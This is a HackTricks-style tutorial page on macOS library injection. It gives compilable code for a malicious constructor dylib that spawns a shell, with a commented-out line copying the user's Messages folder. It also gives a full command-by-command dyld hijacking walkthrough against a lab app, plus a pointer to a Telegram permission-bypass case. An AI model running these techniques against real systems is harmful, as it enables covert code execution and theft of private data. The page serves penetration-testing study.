macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES - HackTricks

# macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES

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## DYLD_INSERT_LIBRARIES Basic example

Library to inject to execute a shell:

    // gcc -dynamiclib -o inject.dylib inject.c

    #include <syslog.h>
    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    __attribute__((constructor))

    void myconstructor(int argc, const char **argv)
    {
        syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
        printf("[+] dylib injected in %s\n", argv[0]);
        execv("/bin/bash", 0);
        //system("cp -r ~/Library/Messages/ /tmp/Messages/");
    }

Binary to attack:

    // gcc hello.c -o hello
    #include <stdio.h>

    int main()
    {
        printf("Hello, World!\n");
        return 0;
    }

Injection:

    DYLD_INSERT_LIBRARIES=inject.dylib ./hello

## Dyld Hijacking Example

The targeted vulnerable binary is `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.

{{#tabs}} {{#tab name="entitlements"}}

    codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
    [...]com.apple.security.cs.disable-library-validation[...]

{{#endtab}}

{{#tab name="LC_RPATH"}}

    # Check where are the @rpath locations
    otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
              cmd LC_RPATH
          cmdsize 32
             path @loader_path/. (offset 12)
    --
              cmd LC_RPATH
          cmdsize 32
             path @loader_path/../lib2 (offset 12)

{{#endtab}}

{{#tab name="@rpath"}}

    # Check librareis loaded using @rapth and the used versions
    otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
             name @rpath/lib.dylib (offset 24)
       time stamp 2 Thu Jan  1 01:00:02 1970
          current version 1.0.0
    compatibility version 1.0.0
    # Check the versions

{{#endtab}} {{#endtabs}}

With the previous info we know that it's not checking the signature of the loaded libraries and it's trying to load a library from:

- `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
- `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`

However, the first one doesn't exist:

    pwd
    /Applications/VulnDyld.app

    find ./ -name lib.dylib
    ./Contents/Resources/lib2/lib.dylib

So, it's possible to hijack it! Create a library that executes some arbitrary code and exports the same functionalities as the legit library by reexporting it. And remember to compile it with the expected versions:

    #import <Foundation/Foundation.h>

    __attribute__((constructor))
    void custom(int argc, const char **argv) {
        NSLog(@"[+] dylib hijacked in %s", argv[0]);
    }

Compile it:

    gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
    # Note the versions and the reexport

The reexport path created in the library is relative to the loader, lets change it for an absolute path to the library to export:

    #Check relative
    otool -l /tmp/lib.dylib| grep REEXPORT -A 2
             cmd LC_REEXPORT_DYLIB
             cmdsize 48
             name @rpath/libjli.dylib (offset 24)

    #Change the location of the library absolute to absolute path
    install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib

    # Check again
    otool -l /tmp/lib.dylib| grep REEXPORT -A 2
              cmd LC_REEXPORT_DYLIB
          cmdsize 128
             name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)

Finally just copy it to the hijacked location:

    cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"

And execute the binary and check the library was loaded:

    "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
    2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
    Usage: [...]

> [!NOTE] A nice writeup about how to abuse this vulnerability to abuse the camera permissions of telegram can be found in https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/

## Bigger Scale

If you are planing on trying to inject libraries in unexpected binaries you could check the event messages to find out when the library is loaded inside a process (in this case remove the printf and the `/bin/bash` execution).

    sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'

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> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.